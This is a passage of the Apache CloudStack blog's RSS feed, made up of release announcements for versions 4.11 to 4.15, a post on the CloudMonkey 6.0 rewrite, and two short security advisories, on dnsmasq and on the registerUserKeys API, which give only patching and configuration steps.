Upgrade instructions <a href="https://docs.cloudstack.apache.org/en/4.15.0.0/upgrading/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.15.0.0/upgrading/</a>
Publicly-known users <a href="http://cloudstack.apache.org/users.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/users.html</a>
Convenience packages for CentOS, Ubuntu, and more <a href="http://download.cloudstack.org/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/</a></p><p>About Apache CloudStack
An Apache Software Foundation Top-Level Project since 2013, Apache CloudStack powers countless mission-critical elastic Cloud computing services and solutions for Fortune 5 multinational corporations, Gartner Magic Quadrant leaders, and, as reported by Forrester, "sits beneath hundreds of service provider clouds". Visit <a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/</a> and <a href="https://twitter.com/CloudStack" target="_blank" rel="noopener noreferrer">https://twitter.com/CloudStack</a> for more information.</p><p>© The Apache Software Foundation. "Apache", "CloudStack", "Apache CloudStack", and "ApacheCon" are registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. All other brands and trademarks are the property of their respective owners.</p><h1></h1>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v4.14]]></title>
            <link>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces1</link>
            <guid>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces1</guid>
            <pubDate>Tue, 26 May 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v 4.14]]></description>
            <content:encoded><![CDATA[<p>The Apache Software Foundation Announces Apache® CloudStack® v 4.14</p><p>ature Open Source Enterprise Cloud platform powers billions of dollars in transactions for the world's largest Cloud providers, Fortune 5 multinationals, educational institutions, and more.</p><p>Wakefield, MA —NN May 2020— The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today Apache® CloudStack® 4.14, the latest version of the mature, turnkey enterprise Cloud orchestration platform.</p><p>Apache CloudStack includes the entire "stack" of features in an IaaS cloud: compute orchestration, Network-as-a-Service, user and account management, full and open native API, resource accounting, and a first-class user interface.</p><p>"v4.14 is an exciting release for Apache CloudStack and is the result of many months of collaboration by our community,” said Sven Vogel, Vice President of Apache CloudStack. “We are introducing a number of major new features that have been driven by demand by users and operators of CloudStack based IaaS environments. At the same time, we have kept to the project's ethos of having a tightly defined scope and being the platform of choice on which to layer other services.”</p><p>Of particular note are:
•	CloudStack Kubernetes Service gives operators the ability to deliver CaaS or K8aaS style services with no change to underlying  infrastructure or business process
•	VM Ingestion gives operators the ability to easily “import” existing VMware environments into CloudStack
•	The new backup and recovery framework, allows operators to integrate with any backup platform, giving a seamless user experience from the CloudStack UI/API</p><p>“Apache CloudStack 4.14 ships with a Technical Preview of CloudStack’s new User Interface,” added Vogel. “This presents a new, ‘enterprise feel’ user experience and is earmarked to replace the current UI. We are encouraging all CloudStack users to explore the Technical Preview and give feedback to the community. Thank you to all of the contributors across our community who have made this release possible."</p><p>ore than 200 new features, enhancements and fixes include:</p><p>•	New modern UI (Project Primate, Technical preview)
•	Backup and Recovery framework
•	Backup and Recovery provider for Veeam
•	VM ingestion
•	CloudStack Kubernetes Service
•	L2 network PVLAN enhancements
•	UEFI support
•	KVM rolling maintenance
•	Enable Direct Download for systemVM templates
•	Template Direct Download support for Local and SharedMountPoint storages
•	VR health checks
•	Download logs and diagnostics data from SSVM/CPVM/VRs
•	Enable additional configuration metadata to virtual machines</p><p>The full list of new features can be found in the project release notes at <a href="http://docs.cloudstack.apache.org/en/4.14.0.0/releasenotes/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.14.0.0/releasenotes/index.html</a> </p><p>Apache CloudStack powers thousands of clouds and billions of dollars in transactions across an array of organizations that include Apple, BT, INRIA, Royal Melbourne Institute of Technology (RMIT), SAP, Taiwan Mobile, Verizon, and WebMD, among others. A list of some of Apache CloudStack’s users are available at <a href="http://cloudstack.apache.org/users.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/users.html</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack LTS Maintenance Release 4.13.1.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance3</link>
            <guid>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance3</guid>
            <pubDate>Mon, 11 May 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of CloudStack 4.13.1.0 as part of its LTS 4.13.x releases. The CloudStack 4.13.1.0 release contains c. 80 fixes on top of the CloudStack 4.13.0.0 release. CloudStack LTS branches are supported for 20 months and will receive updates for the first 14 months. For the final six months, only security updates are provided.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.13.1.0 as part of its LTS 4.13.x releases. The CloudStack 4.13.1.0 release contains c. 80 fixes on top of the CloudStack 4.13.0.0 release. CloudStack LTS branches are supported for 20 months and will receive updates for the first 14 months. For the final six months, only security updates are provided.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform allowing users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top level project in March, 2013. More information about Apache CloudStack can be found at: <a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>The 4.13.1.0 release notes include a full list of issues fixed:
<a href="http://docs.cloudstack.apache.org/en/4.13.1.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.13.1.0/releasenotes/changes.html</a> </p><p>The CloudStack documentation includes upgrade instructions from previous
versions of Apache CloudStack, and can be found at:
<a href="http://docs.cloudstack.apache.org/en/4.13.1.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.13.1.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for each of
the releases are available on our documentation page:
<a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.11.3.0 release can be downloaded from
our downloads page:
<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors
have also made convenience binaries available on the Apache CloudStack
download page, and can be found at:
<a href="http://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/ubuntu/dists/</a>
<a href="http://download.cloudstack.org/centos/6/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/6/</a>
<a href="http://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/7/</a>
<a href="http://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">http://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v4.13]]></title>
            <link>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces</link>
            <guid>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces</guid>
            <pubDate>Tue, 24 Sep 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[Mature Open Source Enterprise Cloud platform powers billions of dollars in transactions for the world's largest Cloud providers.]]></description>
            <content:encoded><![CDATA[<p>Mature Open Source Enterprise Cloud platform powers billions of dollars in transactions for the world's largest Cloud providers.</p><p>Wakefield, MA - 24 Sept 2019.  The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today Apache® CloudStack® v4.13, the latest version of the turnkey enterprise Cloud orchestration platform.</p><p>Apache CloudStack is the proven, highly scalable, and easy-to-deploy IaaS platform used for rapidly creating private, public, and hybrid Cloud environments. Thousands of large-scale public Cloud providers and enterprise organizations use Apache CloudStack to enable billions of dollars worth of business transactions annually across their clouds.</p><p>“This is another release of Apache CloudStack that has been heavily driven by users in our community” said Paul Angus, VP  of the  Apache CloudStack project. “Those users are from organisations that are operating Apache CloudStack clouds at scale in production environments. I would like to thank everybody in the community who has contributed to this release”</p><p>Apache CloudStack v4.13 features nearly 200 new features, enhancements and fixes since 4.12., such as enhanced hypervisor support, performance increases and more user-configurable controls.  Highlights include:</p><p>•	Supporting configuration of virtualised appliances
•	VMware 6.7 support
•	Increased granularity &amp; control of instance  deployment
•	Improvements in system VM performance
•	Allow live migration of DPDK enabled instances
•	More flexible UI branding
•	Allowing users to create layer 2 network offerings</p><p>The full list of new features can be found in the project release notes at <a href="http://docs.cloudstack.apache.org/en/4.13.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.13.0.0/releasenotes/changes.html</a></p><p>Apache CloudStack powers numerous elastic Cloud computing services, including solutions that have ranked as Gartner Magic Quadrant leaders. Highlighted in the Forrester Q4 2017 Enterprise Open Source Cloud Adoption report, Apache CloudStack "sits beneath hundreds of service provider clouds", including Fortune 5 multinational corporations. A list of known Apache CloudStack users are available at <a href="http://cloudstack.apache.org/users.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/users.html</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack LTS Maintenance Release 4.11.3.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance2</link>
            <guid>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance2</guid>
            <pubDate>Sat, 13 Jul 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of CloudStack 4.11.3.0 as part of its LTS 4.11.x releases. The CloudStack]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.11.3.0 as part of its LTS 4.11.x releases. The CloudStack
4.11.3.0 release contains c. 50 fixes on top of the CloudStack 4.11.2.0 release. CloudStack LTS branches are supported for 20 months and will receive updates for the first 14 months. For the final six months, only security updates are provided.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform allowing users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top level project in March, 2013.
ore information about Apache CloudStack can be found at:</p><p><a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>The 4.11.3.0 release notes include a full list of issues fixed:
<a href="http://docs.cloudstack.apache.org/en/4.11.3.0/releasenotes/fixed_issues.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.11.3.0/releasenotes/fixed_issues.html</a></p><p>The CloudStack documentation includes upgrade instructions from previous versions of Apache CloudStack, and can be found at:
<a href="http://docs.cloudstack.apache.org/en/4.11.3.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.11.3.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for each of the releases are available on our documentation page:
<a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.11.3.0 release can be downloaded from our downloads page:
<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at:</p><p><a href="http://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/ubuntu/dists/</a>
<a href="http://download.cloudstack.org/centos/6/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/6/</a>
<a href="http://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/7/</a>
<a href="http://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">http://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack® 4.12.0.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-4-12</link>
            <guid>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-4-12</guid>
            <pubDate>Tue, 09 Apr 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache® CloudStack® project is pleased to announce the release of the CloudStack 4.12.0.0. The CloudStack version 4.12.0.0 is a 4.12 non-LTS release, adding multiple features for those who want to access a fresh CloudStack prior to the next LTS. The release 4.12.0.0 combines 12 months of work and adds +200 commits, with multiple new features and fixes.]]></description>
            <content:encoded><![CDATA[<p>The Apache<sup>®</sup> CloudStack<sup>®</sup> project is pleased to announce the release of the CloudStack 4.12.0.0. The CloudStack version 4.12.0.0 is a 4.12 non-LTS release, adding multiple features for those who want to access a fresh CloudStack prior to the next LTS. The release 4.12.0.0 combines 12 months of work and adds +200 commits, with multiple new features and fixes.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top level project in March, 2013.</p><p>More information about Apache CloudStack can be found at&nbsp;<a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a><br><strong></strong></p><p> </p><p><strong># Documentation</strong></p><p>What's new in CloudStack 4.12.0.0&nbsp;<a href="http://docs.cloudstack.apache.org/en/4.12.0.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.12.0.0/releasenotes/about.html</a></p><p>The 4.12.0.0 release notes include a full list of corrected issues, as well as upgrade instructions from previous versions of Apache CloudStack, and can be found at&nbsp;<a href="http://docs.cloudstack.apache.org/en/4.12.0.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.12.0.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for each release are available on our Documentation Page&nbsp;<a href="http://docs.cloudstack.apache.org/en/4.12.0.0/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.12.0.0/</a></p><p><strong># Downloads</strong></p><p>The official source code for the 4.12.0.0 release can be downloaded from our downloads page <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>The official source code release can be downloaded from <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at&nbsp;<a href="https://download.cloudstack.org/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/</a></p><p><br></p><p><strong>### END ### </strong></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[What's coming in CloudMonkey v6.0.0]]></title>
            <link>https://cloudstack.apache.org/blog/what-s-coming-in-cloudmonkey</link>
            <guid>https://cloudstack.apache.org/blog/what-s-coming-in-cloudmonkey</guid>
            <pubDate>Tue, 19 Mar 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[The original CloudMonkey was contributed to the Apache CloudStack project on 31]]></description>
            <content:encoded><![CDATA[<p>The original CloudMonkey was contributed to the Apache CloudStack project on 31
Oct 2012 under the Apache License 2.0. It is written in Python and shipped using
the Python CheeseShop, and since its inception has gone through several
refactors and rewrites. While this has worked well over the years, the
installation and usage have been limited to just a few modern platforms due to
the dependency on Python 2.7, meaning it is hard to install on older
distributions such as CentOS6.</p><p>Over the past two years, several attempts have been made to make the code compatible across Python 2.6, 2.7 and 3.x. However, it proved to be a maintenance and release challenge – making it code compatible across all the platforms, all the Python versions and the varied dependency versions; whilst also keeping it easy to install and use. During late 2017, an experimental CloudMonkey rewrite called cmk was written in Go, a modern, statically typed and compiled programming language which could produce cross-platforms standalone binaries. Finally, in early 2018, after reaching a promising state the results of the experiment were shared with the community, to build support and gather feedback for moving the CloudMonkey codebase to Go and deprecate the Python version.</p><br>During 2018, two Go-based ports were written using two different readline and prompt libraries. The alpha / beta builds were shared with the community who tested them, reported bugs and provided valuable feedback (especially around tab-completion) which drove the final implementation. With the new rewrite CloudMonkey (for the first time) ships as a single executable file for Windows which can be easily installed and used having mostly the same user experience one would get on Linux or Mac OSX. The rewrite aims to maintain command-line tool backward compatibility as a drop-in replacement for the legacy Python-based CloudMonkey (i.e. shell scripts using legacy CloudMonkey can also use the modern CloudMonkey cmk). Legacy Python-based CloudMonkey will continue to be available for installation via pip but it will not be maintained moving forward.<br>CloudMonkey 6.0 requires a final round of testing and bug-fixing before the release process will commence. The beta binaries are available for testing <a href="https://github.com/apache/cloudstack-cloudmonkey/releases" target="_blank" rel="noopener noreferrer">here</a>.<br><br><b># Major changes in CloudMonkey 6.0</b><br>- Ships as standalone 32-bit and 64-bit binaries targeting Windows, Linux and Mac including ARM support (for example, to run on Raspberry Pi)<br>- Drop-in replacement for legacy Python-based CloudMonkey as a command line tool<br>- Interactive selection of API commands, arguments, and argument options<br>- JSON is the default API response output format<br>- Improved help docs output when ‘-h’ is passed to an API command<br>- Added new output format ‘column’ that outputs API response in a new columnar way like modern CLIs such as kubectl and docker<br>- Added new set option ‘debug’ to enable debug mode, set option ‘display’ renamed as ‘output’<br>- New CloudMonkey configuration file locking mechanism to avoid file corruption when multiple cmk instances run<br>- New configuration folder ~/.cmk to avoid conflict with legacy Python-based version<br><br><br><b># Features removed in CloudMonkey 6.0:</b><br>- Removed XML output format.<br>- Removed CloudMonkey logging API requests and responses to a file.<br>- Coloured output removed.<br>- Removed set options: color (for coloured output), signatureversion and expires (no longer acceptable API parameters), paramcompletion (API parameter completion is not enabled by default), cache_file (the default cache file, now at ~/.cmk/cache ), history_file (the history file), log_file (API log file).]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack LTS Maintenance Release 4.11.2.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance1</link>
            <guid>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance1</guid>
            <pubDate>Mon, 26 Nov 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[Announcing Apache CloudStack LTS Maintenance Release 4.11.2.0]]></description>
            <content:encoded><![CDATA[<p>Announcing Apache CloudStack LTS Maintenance Release 4.11.2.0</p><p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.11.2.0 as part of its LTS 4.11.x releases. The CloudStack 4.11.2.0 release contains more than 70 fixes since the CloudStack 4.11.1.0 release. CloudStack LTS branches are supported for 20 months and will receive updates for the first 14 months. For the final six months only security updates are provided.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform allowing users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top level project in March, 2013. More information about Apache CloudStack can be found at:
<a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>The 4.11.2.0 release notes include a full list of issues fixed:
<a href="http://docs.cloudstack.apache.org/en/4.11.2.0/releasenotes/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.11.2.0/releasenotes/index.html</a></p><p>The CloudStack documentation includes upgrade instructions from previous versions of Apache CloudStack, and can be found at:
<a href="http://docs.cloudstack.apache.org/en/4.11.2.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.11.2.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for each of the releases are available on our documentation page:
<a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.11.2.0 release can be downloaded from our downloads page:
<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at:</p><p><a href="http://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/ubuntu/dists/</a>
<a href="http://download.cloudstack.org/centos/6/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/6/</a>
<a href="http://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/7/</a>
<a href="http://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">http://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache CloudStack LTS Maintenance Release 4.11.1.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance</link>
            <guid>https://cloudstack.apache.org/blog/announcing-apache-cloudstack-lts-maintenance</guid>
            <pubDate>Tue, 03 Jul 2018 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of CloudStack 4.11.1.0 as part of its LTS 4.11.x releases. The CloudStack 4.11.1.0 release contains more than 130 fixes since the CloudStack 4.11.0.0 release. CloudStack LTS branches are supported for 20 months and will receive updates for the first 14 months. For the final six months only security updates are provided.]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.11.1.0 as part of its LTS 4.11.x releases. The CloudStack 4.11.1.0 release contains more than 130 fixes since the CloudStack 4.11.0.0 release. CloudStack LTS branches are supported for 20 months and will receive updates for the first 14 months. For the final six months only security updates are provided.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform allowing users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources. The project became an Apache top level project in March, 2013. More information about Apache CloudStack can be found at:
<a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>What's new in CloudStack 4.11.1.0:
<a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.11.1.0/about.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.11.1.0/about.html</a></p><p>The 4.11.1.0 release notes include a full list of issues fixed, as well as upgrade instructions from previous versions of Apache CloudStack, and can be found at:
<a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.11.1.0" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.11.1.0</a></p><p>The official installation, administration and API documentation for each of the releases are available on our documentation page:
<a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.11.1.0 release can be downloaded from our downloads page:
<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page, and can be found at:</p><p><a href="http://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/ubuntu/dists/</a>
<a href="http://download.cloudstack.org/centos/6/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/6/</a>
<a href="http://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">http://download.cloudstack.org/centos/7/</a>
<a href="http://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">http://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Dnsmasq Vulnerabilities Advisory for CloudStack]]></title>
            <link>https://cloudstack.apache.org/blog/dnsmasq-vulnerabilities-advisory-for-cloudstack</link>
            <guid>https://cloudstack.apache.org/blog/dnsmasq-vulnerabilities-advisory-for-cloudstack</guid>
            <pubDate>Fri, 13 Oct 2017 00:00:00 GMT</pubDate>
            <description><![CDATA[Recently, a number of security flaws were recently found in the DNSMasq tool. This tool is used by many systems to provide DNS and DHCP services, including by the CloudStack System VMs.]]></description>
            <content:encoded><![CDATA[<p>Recently, a number of security flaws were recently found in the DNSMasq tool. This tool is used by many systems to provide DNS and DHCP services, including by the CloudStack System VMs.</p><p>According to Google’s investigation into the software, out of seven issues, three — CVE-2017-14491, CVE-2017-14492, and CVE-2017-14493 — are remote code execution flaws caused by heap buffer overflow and stack buffer overflow errors through DHCP and DNS vectors.</p><p>Another issue, CVE-2017-14494, can be exploited to bypass the Address space layout randomization (ASLR) memory protection function, leading to information leaks.</p><p>In addition, three more bugs, CVE-2017-14495, CVE-2017-14496, and CVE-2017-13704, can lead to denial-of-service (DoS) attacks caused by invalid boundary checks, bug collision, and a coding issue.</p><h2>Affect On CloudStack</h2><p>CloudStack’s System VMs use DNSMasq to provide DNS and DHCP services to the guest VMs from the virtual routers.  These services are only exposed on the internal guest interface(s) of the virtual routers. Therefore a malicious user could compromise a virtual router to which they have a guest instance attached.</p><h2>The Fix</h2><p>On 9th October, an updated version of DNSMasq was released by the authors of DNSMasq for the Debian Wheezy Operating System which the CloudStack System VMs use.  We have created new versions of the System VM templates which should be used to replace your existing System VMs using the procedure described below.</p><p>A short-term fix for currently running System VMs (if they have internet access) is to log into the System VMs and run:</p><code>apt-get update <br>apt-get upgrade dnsmasq -y</code><p>For information on logging into System VMs please see: http://docs.cloudstack.apache.org/en/latest/administration_guide.html?#accessing-system-vms</p><p>The above procedure will patch existing virtual routers, but should a virtual router be destroyed and recreated or a new virtual router created, the subsequent virtual router will no longer be patched.</p><p>The full fix is to replace the existing System VM template(s) with the latest patched versions as well as recreating or patch existing virtual routers.</p><h2>System VM Patching Procedure</h2><p>New System VM templates with updated DNSMasq for major CloudStack versions for XenServer, VMware and KVM hypervisors have been built. We advise CloudStack users to upgrade to the appropriate System VM template and either;</p><p>Patch all existing virtual routers using the procedure above or recreate all virtual routers using the procedure detailed in the link for updating system VM templates (below)<br>For ACS 4.10+: http://download.cloudstack.org/systemvm/4.10/dnsmasq/<br>For ACS 4.6-4.9: http://download.cloudstack.org/systemvm/4.6/dnsmasq/</p><p>The procedure for updating the system VM templates can be found at http://docs.cloudstack.apache.org/projects/cloudstack-administration/en/latest/systemvm.html#enhanced-upgrade-for-virtual-routers.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack registerUserKeys authorization vulnerability]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_registeruserkeys_authorization_vulnerability</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_registeruserkeys_authorization_vulnerability</guid>
            <pubDate>Thu, 27 Oct 2016 00:00:00 GMT</pubDate>
            <description><![CDATA[The CloudStack security team recently received notice of a significant vulnerability in a CloudStack API call - registerUserKeys. The original intention for this call was for it to only be exposed for integration work - eg not to the public network in general. A weakness in the API call's implementation allows a malicious user to reset the API keys for other users on the system, thus accessing resources and services available to that user. We have released CloudStack versions 4.8.1.1 and 4.9.0.1 with patches for this issue. More details about the release can be read on the official announcement post.]]></description>
            <content:encoded><![CDATA[<p>The <a href="http://cloudstack.apache.org/security.html" target="_blank" rel="noopener noreferrer">CloudStack security team</a> recently received notice of a significant vulnerability in a CloudStack API call - registerUserKeys. The original intention for this call was for it to only be exposed for integration work - eg not to the public network in general. A weakness in the API call's implementation allows a malicious user to reset the API keys for other users on the system, thus accessing resources and services available to that user. We have released CloudStack versions 4.8.1.1 and 4.9.0.1 with patches for this issue. More details about the release can be read on the <a href="https://s.apache.org/qV5l" target="_blank" rel="noopener noreferrer">official announcement post</a>.</p><p>Some users may be protected from this weakness already, if they have configured their commands.properties file to limit access to this api call from the integration API port, instead of general API port. This can be accomplished by setting registerUserKeys to 1.</p><p>Users of Apache CloudStack version 4.9 whom are using the dynamic roles feature can delete the "Allow" rule for "registerUserKeys" for each non-administrator role under the Roles/Rules section of the user interface.</p><p>Credit:<br>
This vulnerability was reported by Marc-Aurèle Brothier from Exoscale.<br></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack™ Collab Conference for June 2016]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_collab_conference_for</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_collab_conference_for</guid>
            <pubDate>Wed, 13 Apr 2016 00:00:00 GMT</pubDate>
            <description><![CDATA[The first Apache CloudStack™ Collab conference of 2016 on June 1-3 2016 in beautiful Montreal, Canada. This conference is aimed at developers, operators and users to discuss and evolve the open source software project, its functionality and real world operability. Part talks, part workshops, part hackathon, this event will present a great opportunity for attendees and sponsors alike. CloudOps is thrilled to host this conference at its event space, Centre cloud.ca in the heart of the city.]]></description>
